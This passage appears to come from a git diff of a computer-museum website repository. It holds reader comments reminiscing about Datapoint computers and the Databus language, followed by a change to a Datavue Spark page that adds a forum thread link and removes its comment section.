27th July 2005 - text: I'm another Datapoint alumni from the Seattle office of the Western Region. I'm particularly amused that Microsoft just announce Longhorn will be called Windows Vista. Once again Datapoint was ahead of everyone else, to no avail. - - author: Linda Peterson (San Antonio, TX) - date: Monday 18th July 2005 - text: I worked for Datapoint from 1980 to 1986 supporting the order entry system. The Friday Lunch bunch is still alive and well going to lunch at a different place each Friday. I have many fond memories of meeting support folks from all over the world because my ex-husband also worked for Datapoint on the operating systems support team - - author: Kevin Woods (New Zealand) - date: Tuesday 12th July 2005 - text: |- - In the early 70's I joined a company called Ventek in the U.K.\ - It was a subsidiary of a Canadian company called Venturetech (I think) that marketed Datapoint equipment in England.\ - All reference to date has been to the Datapoint 2200.\ - There was actually a Datapoint 1100 that preceded the 2200. It was similar architecture with a parallel bus with 4 memory slots each having 1K memory boards. As an engineer I was trained in how to repair this device to a component level. As all the registers and gates were actually discreet TTL logic components, the every day language we used to trace our way around the processor was actually Assembler language. In other words, we could actually identify and replace if necessary the various Registers that will be familiar to any assembler code cutters.\ - Load "A" with 303.. Ex Address etc When addressing a parallel Printer? Well we could find the A register on the circuit board and see if octal 303 was actually loaded?\ - In those days, when sent to a fault call, I arrived with an oscilloscope, a box of TTL and CMOS chips, and an assortment of transistors, a large book of schematic diagrams and an extender board to extend the failed board out of the machine so you could access it with power on. I would then step my way through the logic until I found the gate that was not functioning as it should and simply replaced it with my trusty soldering iron. In similar circumstances now, we just replace the whole device. The original operating system was CTOS (Cassette Tape Operating System) but this moved to proprietary DOS once the floppy drives and then the Diablo and then Wangco drives were added. It was a brilliant machine, ahead of its time, and using simple emulation programmes loaded from cassette tape, replicated the functionality of IBM and many other systems at a fraction of the cost. I was lucky to cut my teeth on it and thereby truly understand at a bit and byte level how these things actually work. Datapoint eventually bought out Ventek and marketed their products directly in the UK and Europe and was very successful for a period. The company had an amazing youthful, cocky “we can do anything” culture in the early days. Unfortunately the market was not mature enough for what it had to offer. The desktop Computer and the LAN in the 70’s was a solution to set of problems a lot of companies did not know they had at the time - - author: Don Reid (Redwood City, CA) - date: Wednesday 29th June 2005 - text: |- - Great times in the Western Region.\ - Who can ever forget the State of California EDD project with Peggy Imirie, the shortest project manager in the region, and Jerry Klink with his reading of the daily passage from the Creation Memos. I was fortunate enough to work with some of the brightest people in the business and really enjoyed those times... However, I must admit that I'm enjoying retirement just a little bit more. :) - - author: Dave Hopkins (Livermore, CA) - date: Wednesday 29th June 2005 - text: |- - Those were the days, my friends! I remember cutting my teeth on Databus and assembler back when a few bytes were the difference between a program working or not, and coding was eloquent as well as functional (actually, I cut my teeth on the wires I stripped when making cables...)\ - I left Datapoint in 1984. Hmmm, that date seems to be significant for some reason... Evonne (my wife whom I met and married during my Datapoint years) and I own a graphics/web design firm, now. After getting out of the programming business entirely, I've come full circle and am programming again; now we're developing web applications.\ - I still collect Datapoint memorabilia. Remember the 8 inch floppy drives? Or the RMS belt buckles? We still use the Western Region Datapiont coffee mugs, although all the names were whited out long ago...\ - It also seems that a lot of things that are being announced as "new technology" I recall from our Datapoint days. How about IR communicatioins between buildings in a campus environment? or VoIP? Didn't we have those things back in the 80's?\ - At ImageSetters we have been around for 20+ years, mainly due to the strong work ethics and desire to do our best job... just like at Datapoint.\ - I think we all benefited greatly from our experiences at the big "D" and we are just continuing to get better!\ - Thanks, Oscar Rabinowitz, for pointing me to this site! - - author: Patty Fennell (formerly Huhn) (UK (was Denver CO back then)) - date: Tuesday 28th June 2005 - text: |- - Glory be - names from the past. What a pleasure it is to see so many names I recognise! I was with Datapoint in Denver for a way long time - until 1987. How can you all remember the product numbers - I just remember all those blinking tapes we had to load in that little cassette thingey on the top (yes, I actually was semi-technical once), and lugging around a datascope to prove once again it was IBM's problem - what emulators we had! I went to Tandem in 1987, and am still here 18 years later - via Compaq and now HP. And I'm in the camp with others who say we had a great work ethic and lots of fun then. Thanks to Jim Westveer for the tipoff.\ - Cheers! - - author: Jim Westveer (Seattle, WA) - date: Tuesday 28th June 2005 - text: Howdy! I worked for Datapoint in Seattle from 1979 to 1987. Aaah the good old days. But if Datapoint is now considered old-computer-museum-stuff...what does that make me......oh, ah, never-mind. Thanks to Bill Drozda for pointing this site out to me. Ciao. - - author: David Graham (Omaha, Nebraska) - date: Friday 3rd June 2005 - text: |- - I have had the priviledge of working on the old 5500's 6000 series. Had a 1500 and then the 1560. wow what an upgrade of memory does. Had the dual 8" flops and then got the 10mb packs. had 300baud modem and then 1200, then got daring and got an 8800 put it in the basement blew many breakers. Got a hold of an 8600 ran RMS in the basement. Wow all the memories. Finished up on the new 5500's on the ALR chassis and RMS/Open 4. great hardware. - - Dave - - author: Pat LaTouche (Houston) - date: Tuesday 31st May 2005 - text: I worked for DPT for 14 years and it was fun and I met some of the greatest people in the computer industry. Their work ethic is far better than some of these people that I have been associated with the past several years. I have changed careers, I am now a teacher (teaching middle school since 2001). I first taught computers, but now I am teaching math. The first year of teaching, I put the question ,"Who invented Local Area Networking" on my final exam. Datapoint of course, most students missed that question but that is ok. The kids I teach and what they give me at the end of the year is better than any bonus check, I ever received. Good Luck to all former Datapointers there is Life after Datapoint. Neven, thanks for discovering this web site. - - author: Steve Venable (Tennessee) - date: Sunday 29th May 2005 - text: |- - Hello everyone. Pleased to see this web site and the forum from the Datapoint Club. - - I wrote my first Databus program on a 1100 Series while a senior in high school which led me to an S.E. position in N.C., Onsite S.E. at USAA (San Antonio), Branch S.E. Mgr., Support Mgr and Technical Mgr. What a ride CTOS, DOS, ARCNET, RMS, MINX, and RMS/XA. I had the fortune of meeting many wonderful and talented people while with Datapoint and speak of often of my experiences with Datapoint. I wish all you x-Datapointer's a long and blessed life! - - author: Lothar (Frankfurt GERMANY) - date: Friday 13rd May 2005 - text: |- - Hi Guys,\ - I worked for Datapoint Computers from, 1979 to 1989 in Frankfurt/Main, Germany. First as a technical support engineer, second as a technical branch manger, and after that as a software support engineer. I've worked on all the Computers from the tiny 1100 up to the 8800 flagship. - - MIDS, anyone remember that?. Yeap, it was a CDC-Harddisk 60MB/60MB like a fridge. And not to forget the amazing ARCNET. - - author: Brian (USA) - date: Wednesday 30th March 2005 - text: I worked for datapoint/intelogic trace from 1980 to 1988. i had a 2200 system i picked up from a customer and used it to keep inventory contol on. Damn i worked on all of it from the 1500 to the 8800. I also picked up a MIDS system for my own use for the cost of renting a trailer to haul it. I finally left the company in december of 1988. Worked in the corpus christi texas office. Damn what a great company DATAPOINT was. I have never had a job since that even comes close to the experience of DATAPOINT. Miss it - - author: Brian Smith (Melbourne Australia) - date: Sunday 28th November 2004 - text: |- - I started life as a Databus programmer in 1981 and worked for the Australian subsidiary of Datapoint from 1985-87. I first worked on a 2200 with 2 x 2.5mb disks. Was amazed at the power of a 5500 and then there was the powerhouse 6600.\ - Thanks to Don Wills at dbcsoftware.com I am still a Databus programmer 23 years later on a language that started back in the 60's and my company produces highly successfull commercial software using a Databus derivative. Now that's a lesson in longevity and portability that Microsoft could take note of! - - author: Herb Toeppner (Vancouver, BC) - date: Wednesday 10th November 2004 - text: |- - I worked on Datapoint computers for eleven years, 1977 to 1988 in Calgary and Red Deer, Alberta, Canada. - - I worked for four different companies and in four different industries, manufacturing, wholesale parts distributer, retail lumber and a Customs Brokerage firm. - - I had the privelege of using the state of the art 5500 with 50 MB of online disk. The drives were the size of a washer and dryer. That was my first two systems. Twins actually, but 90 miles apart. - - I then graduated to the 6600's. - - Must have written 1,000,000 lines of DATABUS code. CMATCH was my favorite OP Code :) - - The Calgary Datapoint office showed us MYNX. Anyone remember that??? - - Ah, memories... Herb - - author: dennis (new york) - date: Friday 7th May 2004 - text: worked for datapoint and interlogic trace from 1978 to 93.\\in stamford ct. remember nando,chris,joe,john singer,paul miles,woods,phil tracy and the rest.good product rotton management.rember some real half ass ones.too bad datapoint fell was a good company to work for good trainingahead of its time products. - - author: Dean Pierce (San Antonio) - date: Thursday 25th December 2003 - text: I started working for Datapoint in 1980 and stayed with the company and the spinoff company Intelogic Trace until 1992. I supported the home office's user community and am still amazed at the innovation at the company. Datapoint had their own email system years before it became what it is today. They had their own word processor and graphics machine. The first computer I used at Datapoint was a 3600 which had 38K memory. I remember the first machine that boasted 256K of memory, they referred to it as "Godzilla". It's amazing to think how far we have come. - - author: Ian Catchpole (WA, USA) - date: Wednesday 12th November 2003 - text: |- - I found this page during some nostalgic web-searching - amazing! I worked on a Datapoint system (Buxted Poultry in Norwich England) in the early 80's. My most notable achievement being writing a workable Reversi program in Databus :-)\ - Actually I previously worked on a CA Syfa system - and their language was virtually identical to Databus (I seem to recall that CA was created by some Datapoint rebels). Amazing to think that Databus (Datashare as I recall) still continues. - - author: Bud Hutchison (Tyler, Tx) - date: Wednesday 22nd October 2003 - text: |- - I worked for Datapoint from 1979 to 1996 as a systems consultant in the Marketing Division. I worked primarily in the Dallas area including a two year stint at the Infomart showroom. Datapoint has downsized until there is only a small company left in San Antonio. They continue to support their customer base. The Datapoint name was purchased by a European telecommunications company and that is the owner of www.datapoint.com. Dynacore is what's left of the US company we all knew and loved and is still in San Antonio, Texas. - - Datapoint is proof that the best products and technology don't always come in first. So now we're stuck with computers that fail anytime the cover is removed and you have to reboot daily. - - Sunbelt was one of the first companies to implement Databus (PL/B) on a non-Datapoint system. We have enhanced the language and tool set quite a bit in the last 20 years. - - author: Christian Cavaleri (USA) - date: Thursday 4th September 2003 - text: WOW,reading all this is like a time warp . I worked for Datapoint from 1982-1987 out of Stamford Conn. and was a charter member of interlogic Trace when it started. We did field service on the entire line and reading this was interesting.I wont get into specifics but most of your inputs are correct. I can tell you they had a 1100 system before the 2200. the day I went on a service call on a 1500 floppy system and saw everyone in the office crowded around one of the origional IBM pc I knew right then we were doomed as a company we invented ARCNET then fell behind the times. It was a great company to work for .Training in San Antonio was fun,but when I think about head crashes,fixed disk replacements and alighnment packs I realize how far computers have come and how old I've become. - - author: Charles Foreman (Lemasters, PA) - date: Wednesday 30th October 2002 - text: I have many fond memories of Datapoint. As I was growing up, my dad was moonlighting as a Databus (and even Datapoint assembler) programmer. My first real job was interfacing Datapoint 8600 systems to Intermec bar code printers. I have owned several Datapoint systems, and even ran a multi-user computer bulletin board system through Datashare running on an 8600 many years ago. I also bought a used 8800 system (the washer/dryer combo unit) from Chase Manhattan bank. You had to be careful not to fire up both units at the same time - the circuit breaker would trip every time! RMS was way ahead of its time, and Databus was a very good development environment for business applications. - - author: Peter Walker (UK) - date: Monday 6th May 2002 - text: |- - Thank you for your piece on the Datapoint 2200. However, I was surprised to read that Datapoint Corporation "ceased to\ - exist in the early 1980s". In 1981, I had a career change and joined IT.\ - I was trained (partly) at Datapoint's office in London, UK. I worked as\ - a Databus programmer from 1982 until 1986, using their DOS and RMS\ - operating systems. Older hands told stories about the 2200 and its\ - operating system (the abbreviation CTOS appeals to our old-English sense\ - of humour). Model numbers were different in my day: the 1800 had 8-inch\ - diskette drives; the 3600 and 8600 were discless processors which booted\ - from a LAN server; and 3200 and 8200 were dumb VDUs. I understand that Datapoint were moving out of general IT into computer/telecommunications integration, as of the mid-1980's. I lost touch with the company after 1986, but I can testify that the London\ - office is still there - I drove past it (complete with a big DATAPOINT\ - sign) in April 2002. Indeed, there is now a Datapoint web site\ - (www.datapoint.com). - - author: Marc Desmoulins (France) - date: Tuesday 17th April 2012 - text: |- - The first distributor of these little systems in Europe was the giant Honeywell-Bull... When the first "machines" came, we did not believe it was possible to make such an intelligent full system... The reliability was not less than the others at that time.\ - Then, Datapoint had an agreement with the "Defense giant" MATRA, (now EADS in Europe. An affiliate was biult in common with the name of "Matra Informatique". The success came fast. There were a few divisions developing business and specialized software using the very strange "Databus" language... Probably it was not really conventional... but it was surprisingly efficient.\ - $ In 1984, things changed... the arrival of the IBM-PC, PC-Networks of all sorts and UNIX has been a revolution... I must confess that me also, with all my team, have changed in favor of the newcomer.\ - The year after, the French affiliate was dissolved, Bye Bye.\ - $-\ - If Databus had been modernized, converted to the Intel base systems and adapted for Internet, it would still be a leader.\ - Those who developed such language, operating system and hardware interfaces can be proud, it has been one of the best thing men''s brain as conceived. "Bravo". - - author: David Neale (Guardamar del Segura$ España) - date: Wednesday 9th December 2009 - text: I worked for the Samsonite Corp (the luggage people) from 1972 until 1982. The European headquarters were located in Oudenaarde, Belgium (they still are). I programmed their order and billing system. For input of customer and sales data in branches outside Belgium (UK, France…) we used Datapoint 1100s. I wrote the little apps for these, too. Customer data and sales information was captured on cassette and transferred to Oudenaarde each evening (initially using a 300 bps acoustic coupler, later going to 1200 bps and then to a massive 2400 bps!). There they were processed on a Honeywell Bull something-or-other (can''t remember the model) and returned the following moring, again captured on cassette, for printing out invoices, error reports, stock reports, etc., at leisure. This all started in about 1976. Not bad for the time, I suppose. - - author: Charles Cotham (Tennessee) - date: Monday 1st September 2008 - text: |- - Wow.... While looking for info on old systems that I''ve touched, I ran across this site. - - Well, a gentleman named Tom Burks and myself installed a Honeywell MTS-7500 (really a Datapoint 2200) in 1971 at National Savings Life Insurance Company in Murfreesboro, TN, programming it without a printer and debugging the code on the 12 line screen.... LOL - - We then joined Universal Systems in M''boro and wrote a Escrow and Title Closing System on a four diskette, Diablo printer equipped Datapoint 1100 and eventually migrated the software to Datashare on 2200''s, 5500''s, and 6600''s. We installed the software in various major title companies (the largest installation consisting of over 100 remote terminals in Oakland, CA) which put USI as the Number 1 VAR in the country during the 1970''s. - - Remember those days Steve Venable? - - The software (and myself) was sold in 1980 to a California company and I moved to Fremont where I met Dave Hopkins and his lovely wife, Evonne. - - I''m now retired from my last position at AOL, Reston, VA as Technical Manager - Systems Security but still find time to do consulting with health providers in Phoenix, AZ. - - Datapoint was ahead of their time and Tom Burks is still using DBC''s version to carry on the Escrow and Title Closing System. - - author: peter nelson (Minnesota) - date: Friday 21st December 2007 - text: |- - My first job (age 15, early 1980's) was for a local bank's mortgage division, running print jobs, xmodem file transfers, and backup jobs on their Datapoint gear - your basic computer operations monkey. After a couple years on the job, for fun, I wrote a font editor, and re-programmed the entire character set, so all letters would be displayed upside down. This was meant to be a private joke, but I forgot to change things back before leaving at 10PM. The next morning when everyone booted their OS from the shared drive, they got upside down letters! In production! Fortunately for all of us, I made that little mistake on March 31st, so this all came to light the next morning, on April Fool's day. I guess they made allowances for youth, because God knows I should have been fired. The head of the department played it off as a joke, otherwise he would have had to explain why he gave "root" access to a high-school kid. Happy memories. - - As an aside, I've had an eBay search running for a year, trying to find an old Datapoint workstation. Nothing turned up but one sorry little advertising flier. What happened to all that gear? It can't still be running in production, can it? - - author: John Sutherland (Scotland UK) - date: Sunday 23rd September 2007 - text: Finding this page was an unbelievable experience. Are there really people out there that have an interest in Datapoint 2200. :-) . anyway, my experience was as an employee of Ventek in the Uk as a field Service engineer. I can remember sleppless nights fixing these damn thing at 2am in the morning in the middle of a railway siding shed. They were primarily used by British Rail in a train monitoring system. 100s of them. CTOS, Bad Power Supplies, Tape decks.. Ugh!! - - author: Philip Gaberdiel (United States) - date: Monday 15th August 2022 - text: During my senior year of high school in 1970 in Hobart, Oklahoma, my math teacher somehow was able to purchase a computer. He and I learned how to program it (machine code, I think). Our first program was to solve quadratic equations. I can''t remember the brand of the computer, but as I recall it looked like the pictures of the CTC computers. If my memory is correct, programs were stored on a magnetic card that you ran through a reader. Can anyone confirm if there was a CTC computer like this that would have been available in the spring of 1970? - - author: Stefan - date: Monday 22nd November 2021 - text: I have heard from a collector there will be a 2200 in an online auction in December 2021... I hope that I can bid there. But I''m afraid I can''t afford that - - author: Achim Baqué - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. I missed my chance to buy it from David Larsen in 2015. Since then, I couldn''t find it elsewhere. Please contact me (E-Mail via my website) if you have a Datapoint 2200 to offer. - - author: John Pham (US) - date: Wednesday 26th May 2021 - text: Does anyone has a CPM boot disk for Datapoint 1560? Thanks - - author: Frank Slaghuis (Deutschland) - date: Thursday 4th March 2021 - text: 'My dad worked as technician for Datapoint in Germany from 1980 until 1998. He died in 2004. Last winter when I visited my mum I ve found an old 2200 (16k version), 6600 and 6640 in their basement. My plan is to "refurbish" them... Is anybody here who can give me technical advise if I have any questions? That would be great! $) (in return, i would provide nice photos of the computer''''s inner workings) You can mail contact me by mail: effes@freenet.de' - - author: Richard J (UK) - date: Tuesday 2nd March 2021 - text: I''e searched many times over the decades for Ventek and similar spellings to try and learn more about a machine I was allowed to try tic-tac-toe on, guessing 1979-1980, located in North West UK. The machine was a sizeable unit built as a desk, keyboard, small B/W screen and twin 8" floppy to to the right at knee height Does anyone have any clues, photos, manuals they''d care to let me see a scan of? I was at secondary school and just getting interested, we only had a single RML380Z - - author: Henk (Netherlands) - date: Wednesday 16th October 2019 - text: |- - Hi all, - - I am trying to find a copy of CP/M for a DP1550.\ - This version of CP/M was developed by Lifeboat Associates. - - Can anyone help me with a image copy the 8" diskettes of this very hard to find CPM flavour ? - - Thanks !\ - Regards Henk Stegeman - - author: Pete (U.S.A.) - date: Wednesday 10th April 2019 - text: Just an add-on to Gordon''s comment that he didn''t remember if the Datapoint 1100 came in a cassette only version. It did. I programmed on such a device in the 1975-1977 time frame, and it could do amazing things for its limited hardware specs (at least as compared to the 2200). - - author: Bob Erwin (Dallas, TX) - date: Wednesday 29th July 2015 - text: I cut my teath on a Dataoint 2200. My father boght it for his accounting office. His had 4 floppys and a daisy wheel printer for producing all the accounting reports. This was 1976. Still doing IT today. - - author: JJ Orn (Cincinnati) - date: Tuesday 28th October 2014 - text: I had an 1100 model. No tape, but did have four 8" disk drives integrated. I still have a box of the disks. These were machines from Uniroyal - they made tires, rubber and plastic. My father wrote the inventory system there. Sadly to this day, I can''t even find a good picture of the machine. It was the size of a desk! I remember a certain sequence on the buttons during POST would put the machine into a memory diagnostic. The language was actually pretty easy to learn considering the age. - - author: EddieTheWild (Spain) - date: Friday 22nd August 2014 - text: |- - Hi Datapointers, any of you have technical info about Datapoint 1560? I have one that seems to boot but nothing is shown on the monitor (it and the keyboard light on). - - I would like to know the pinout of the conector between the computer and monitor to try to connect the computer to any other third party monitor. - - Thanks in advance!! - - author: Michael N. Georgopapadakos (Greece) - date: Sunday 8th December 2013 - text: |- - I worked from 1981 to 1982 in Piraeus,Greece in a computer service bureau, as an applications programmer with Databus language,DOS operating system in a Datapoint minicomputer with 2 removable disk drives ,around 10 on-line terminals,1 batch terminal and 1 printer.\ - I still remember the program-generator we had for generating automaticaly on-line entry programs and the "rollout" command for changing from on-line to batch mode. - - author: Josh H. (USA, Texas) - date: Monday 7th January 2013 - text: Both my father and my uncle worked for Datapoint in the late-70''s here in San Antonio Texas. As far as I know, my father built computer systems there. I asked a bit about it since I was born a several years after Datapoint closed up shop here in SA and my father went on to work for a company called Phototelesis. (also here in SA) - - author: Ken Whitehead (USA) - date: Tuesday 17th July 2012 - text: 'Other comments re: confusing the 1100/2200/5500/6600 may have arisen from the fact that all of the enclosures for these models started life with 2200 molded into the plastic bezel. The 1100, 5500 and 6600 models had a separate logo that was applied over the existing 2200 logo. Since double-stick foam tapes were used, over time the tape let loose and the ‘new’ logo fell off. We had a few customer complaints re: the instant downgrading of their computers when this happened! Alas, we know that for all of those that complained, many more didn’t, giving possible rise to the confusion of what the machine actually was.' - - author: laurence Orchard (Blackpool, UK) - date: Monday 21st May 2012 - text: found this page via Wikipedia, boy does this bring back some memories! used to work for an exhaust supply company, part of the TI (Tube Investments) Group. We and a number of other TI companies had these machines. Can''t believe we used to run 8 terminals, 2 printers and communications on what was effectively a calculator with a cassette deck and 2 huge 10 Mb disk drives that looked like a top load washer. I learned to program on this machine, rewrote the whole user system, built in error checking, wrote a report writer, that generated Databus code, in Databus so management could use their batch IBM mainframe reports. Remember some great training courses at Centrefile in Wembley, was there when they were testing the ARCNet IR link from the top of the building to the engineering site at Harlesden. Had problems cos it wouldn''t work in the fog and drizzle! Great times, great fun, BTW Databus is still used, now called PL/B - - author: Stacy Browning (San Antonio, TX) - date: Monday 16th April 2012 - text: Holy cow! I was just writting a paper for class and could not remember the name of the first company I worked for when I stumbled onto this site. I worked for Datapoint 1984-1989 in the accounting department. Straight out of highschool, I was the file clerk/copier girl. Now in TN, still in the accounting field. Thanks for the memories! - - author: Caleb Woodland (Canada) - date: Monday 30th January 2012 - text: My grandpa worked with Harry Pyle and Victor Poor to develop the 2200, and I have a couple of them. I''ve been looking online to see if anyone else still has any or if they mostly just fell off the face of the earth. - - author: Thomas (San Antonio, TX USA) - date: Sunday 11th December 2011 - text: I worked with Datapoint gear at a large company in the late 70''s. Had to SCREAM at the manager to get smoking BANNED (as it should ALWAYS have been) in the building. I convinced the management (some who were tobacco addicts) that the smoke was RUINING the equipment AND the health of all workers! They took it to heart (and lungs, etc.) and banned all smoking in and around the building just one week later. SMOKE-FRE IS THE WAY TO BE! - - author: Mike Newcomb (London/England) - date: Saturday 7th May 2011 - text: |- - (hope my recollections are correct)\ - In the early 70''s I worked for the Building Research Establishment, and have always remembered being taken (as a junior participant) by Ventek to see a Datapoint System at the Medical Research Council in Mill Hill.\ - The thoughts were to replace many ICL punch and verifier machines with a Datapoint network for data entry purposes. I was most impressed with the system, being a huge leap forward, meaning no more punchcards, which had been around for nearly a century then.\ - Ventek took us to lunch at a pub in Alperton and even now whenever I go past it, I still taste the excellent steak served.\ - Think Ventek''s offices were on the North Circular Road.\ - Those were the days! - - author: Wouter (Germany) - date: Tuesday 15th March 2011 - text: |- - Hi, - - Connected to Datapoint in various roles and locations, for over 12 years, I have learned a great deal on the job about frontier information technology and still earn benefits of that today.\ - Living the hard days of being confronted with the consequences of poor management and following dissolving of the European subsidiaries, one could also learn a great deal about survival of the fittest and cash collecting cowards (managers bailing out).\ - Anyway, best greatings to all friends abnd former colleagues. - - author: ne12abaa3 - date: Friday 11th March 2011 - text: please provide manuals , blue print , trouble shooting , you tube presentation , emulators - - author: Paul McCard (England) - date: Monday 4th October 2010 - text: A Datapoint 2200 was the first computer I ever used - at school near Liverpool, aged 12, in 1977. The photograph on this site is the first time I have seen a 2200 for about 30 years and brings back very happy memories of after-school sessions keying in BASIC programs and discovering a fascination with computing which has continued throughout my life. Until today, though, I had never realised the significant place the 2200 holds in the progress towards single-chip microprocessor CPUs! - - author: Wayne Osteen (Florida, USA) - date: Thursday 30th September 2010 - text: My first job out of school was night operator on a network of 4 Datapoint 7810s. I ran all the batch jobs at night and did system backups. After a few years, I moved into programming in Databus. WOW, what an ugly language! LOL I fondly remember the RMS/XA OS however. It was so ahead of its time. We finally retired that system and moved to a complete AS/400 system sometime in 1995 I believe. We definitely got our money''s worth from those systems. - - author: Chris - date: Monday 31st May 2010 - text: |- - I DO have a Datapoint 1550, incl the dubble 8" drive !! - - home.hccnet.nl/c.born/DSC02854.jpg - - author: PeriSoft (Ithaca, NY) - date: Sunday 16th December 2007 - text: This also appears to be the first computer with a 2.35:1 cinemascope display. How innovative! ;) - - author: Ted Heaton (Derby, UK) - date: Sunday 9th December 2007 - text: I worked for a company in the UK called CMS which were based in Essex. The company in the early days was made up of ex-datapoint employees. I joined at the age of just seventeen and working my way up from the old 1004, 3600, 8200, 8220 and 8242 terminals. I worked on 1100 processor units upto the 8600 type plus all the 10 over 10 drives, CDC drives and eventually the PC based Powerservers and ARCservers. The times we had were good. The Datapoint computers were the last real items to be fixed by engineers with soldering irons and a bag of components not like now, swap out monkeys. Engineers had respect and there was always coffee on the go for the engineers on site. - - author: Søren Peo Pedersen (Greve, Denmark) - date: Friday 20th January 2006 - text: 'This machine is \*the\* very first computer I ever saw: My father programmed these things, and sometimes brought one home for a weekend to work at home. When he wasn''t working on it, I, age 5 or so at the time, had a go with some demo programs. I remember there was this ASCII animation showing a man walking past a light post, followed by a dog - and guess what the dog did when it passed the light post... ;-)' - - author: Mike Altice (USA) - date: Tuesday 6th December 2005 - text: I had been given a datapoint 1100 in the late 80s. It used to live in a tool sales company for about a decade. This particular one was perched on top of a heavy duty metal desk that included four 8 inch floppy drives and their controllers. There was a modem and a massive power supply that were attatched to the back of the desk. This particular one did not have a casette drive. I made several attempts to get it to work, but all that it ever did was beep and make lots of fan noise. Nothing ever was displayed and it wouldnt boot from any of the drives. Being such a large object, I eneded up taking it to the dump. I did keep most of the boards from the desktop console. If anybody wants them, let me know esp. if someone wants to restore one of these things. - - author: Al Kossow (Silicon Valley) - date: Monday 11th July 2005 - text: |- - There is some Datapoint scanned documentation up\ - now at www.bitsavers.org/pdf/datapoint - - I'm interested in finding more, esp the maintanence\ - manual for the 2200 I'm restoring. - - author: Rich Frank (Naperville, Illinois) - date: Monday 6th September 2004 - text: I have a mint condition 1100 and 2200 machine, controller with a bank of 4 diskettes, GE terminet printe, manuals etcr. I bought the 2200 due to a little known fact that it ran editplus like a 5500 and I could use it from home to edit my Databus programs. It served that purpose well. Lots of original stuff at no charge to the enthusiast if anyone is interested in paying shipping to get it out of my basement. - - author: Tony Coleby (UK) - date: Tuesday 10th August 2004 - text: |- - In 1987 I worked for a pensions company in London that used a Datapoint 8800 system until 1989 I believe (!)\ - The terminals were all orange-screen mono with 80x24 or 40x24 characters (if I remember correctly).\ - The hard disks were 80MB and around 14 inches or so in diameter. I, as the computer department junior, had the pleasure of lugging 2 of these monsters to the bank after every month's backup. Wow, to think that the average-size Compact Flash card in my several-years-old MP3 player holds more than that!\ - I really can't recall whether there was any specialist software running on it but the thing that sticks in my mind is that was a version of the Colossal Cave text adventure game on it that used to keep me occupied during lunch break. - - author: Doug Smith (Houston, TX) - date: Saturday 19th June 2004 - text: I am a software developer. In 1983 I purchased a Datapoint 1560 - a whopping 128KB of RAM, and two 8" floppies in a suitcase sized box. Only $10,000 offset by my 20% VAR discount. I kept it for years afterwards thinking it might be valuable as a collector item or for a computer museum, but my wife prevailed and I gave it to a friend needing to convert large diskettes. Anyone remember the infrared ARCNET modems that could be used to connect systems where running cable was not practical? If Datapoint had seen the opportunity in sticking a cheap ARCNET card into every IBM PC instead of selling their obsolete boxes, you would never have heard of Novell. Makes me wonder what opportunities I am not seeing due to my own ego. - - author: Al Kossow ((silicon valley)) - date: Thursday 27th May 2004 - text: |- - I'm in the process of restoring a 2200 series 2 with 16k of memory\ - and REALLY need a copy of the maintenance manual. I'm also\ - working on archiving any surviving documentation and software\ - for these systems. - - author: Roger Heim (New Jersey) - date: Wednesday 5th March 2003 - text: The Databus language is still with us. It reached ANSI standard status in 1994 and is now officially called PL/B because Datapoint would not relinquish its trademark on the name Databus. Probably the biggest supplier of modern implementations of Databus is DBC Software (www.dbcsoftware.com). I still support a Databus order entry application that originally ran on real Datapoint systems, now runs on a Novell Netware network and soon will run on a Windows 2000 network. - - author: Maury Markowitz (Toronto, Canada) - date: Saturday 5th October 2002 - text: |- - I'm curious about this thread. As I understand it the datapoint in the UK is the logical end of the original company, but I have the feeling that it was originally a branch office involved in a "reverse takeover" as the company spun off parts in the 1980's. - - There's another twist as well. From what I can tell a company in the US called Dynacore Holdings bought Datapoint's patent book in order to go after patent cases -- more lawers, yeah! - - author: James Dixon (Arizona) - date: Wednesday 28th August 2002 - text: |- - http://www.datapoint.com\ - Fascinating story, and that company is still with us today, with several offices including San Antonio, Texas. Looks like they are seriously into embedded programming markets. oc_id: 596 source: url: https://web.archive.org/web/20230604071151/http://www.old-computers.com/museum/computer.asp?c=596 diff --git a/content/museum/datavue-spark.md b/content/museum/datavue-spark.md index c23ba69f..851f2ec3 100644 --- a/content/museum/datavue-spark.md +++ b/content/museum/datavue-spark.md @@ -67,6 +67,7 @@ params: tabs: - photos - links + forum_thread: 789 photos: - title: TOP VIEW subtitle: '' @@ -153,93 +154,6 @@ params: - title: Good pictures of the Spark, manual, bag,... url: http://sbibuilder.free.fr/spark/ text: '' - comments: - - author: Simon Templar (Finland) - date: Monday 19th April 2021 - text: 'To Harie Elkiess: I''''ve sold one for 15€ without a power supply. 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UK dissertation Writers appreciates the teachers. - - author: Accounting Homework Help - date: Wednesday 16th August 2017 - text: Dissertation Guidance Provides quality Online Dissertation Help for students. - - author: Joe C Buckner (USA) - date: Friday 6th January 2017 - text: Have one of these for sale email me if interested pyajoe@earthlink.net - - author: Kelvin Walter (Boston,United States) - date: Tuesday 6th September 2016 - text: Time really flies, some years ago, floppy disks were all over. I am personally a computer lover but good things keep disappearing. Anyway they sparkle good memories. - - author: Ronald Harper (USA) - date: Tuesday 10th November 2009 - text: I bought about 15 of these in the late ''80s and wrote Turbo Pascal programs for our field salesmen to use. First, the price was about $1000-$1200, depending on the amount of memory and whether 1 or 2 drives. The "tiny" screen was about 5" high by 10" wide, which was HUGE for 1987. Plus, it was backlit, which made it very bright and readable. The screen was bright white with blue text and graphics. (No color) The closest (decent) competitor to the Spark was the Toshiba T-1000. A very well-made laptop, but its screen was only about 3-1/2" x 7" and much less readable. - - author: Keith (Philadelphia PA) - date: Thursday 25th October 2007 - text: |- - Wow this brings back memories. I had one of these while I was in grammar school. (mid 90s)\ - I had a small box of floppies I would carry with it, as it had 2 low density 3 1/2 floppies built into it (no hard drive). I would keep a boot disk with a DOS menu system in drive A, and insert the appropriate floppy for the program before I selected it off the menu, into drive B. I remember spending hours on dial-up AOL searching for free DOS software for this laptop, and giving a presentation on it for the science fair (external CGA monitor. presentation written in Q-BASIC) Great times. Wish I still had it, but it broke while in high school. - - author: Michael Reilly (Ft. Walton Beach, FL) - date: Friday 21st April 2006 - text: |- - Does anyone know how long it takes the battery to charge? - - Or, more importantly, the amperage required on the transformer? - - Also, mine says Fivestar Express on the top, and Datavue Spark on the bottom on the label. Remanufactured? - - author: Michael Buchan (Perth, Australia) - date: Sunday 29th June 2003 - text: |- - Hello Ken - - You could do this, but It may be expensive. You can probably only run A Maximum of windows 3.0 On it and Wordpad. - - Glad To Help! - - Michael - - author: Ken Lopossa (Olympia ) - date: Thursday 12th June 2003 - text: I am interested in getting the Old Spark going and I see it 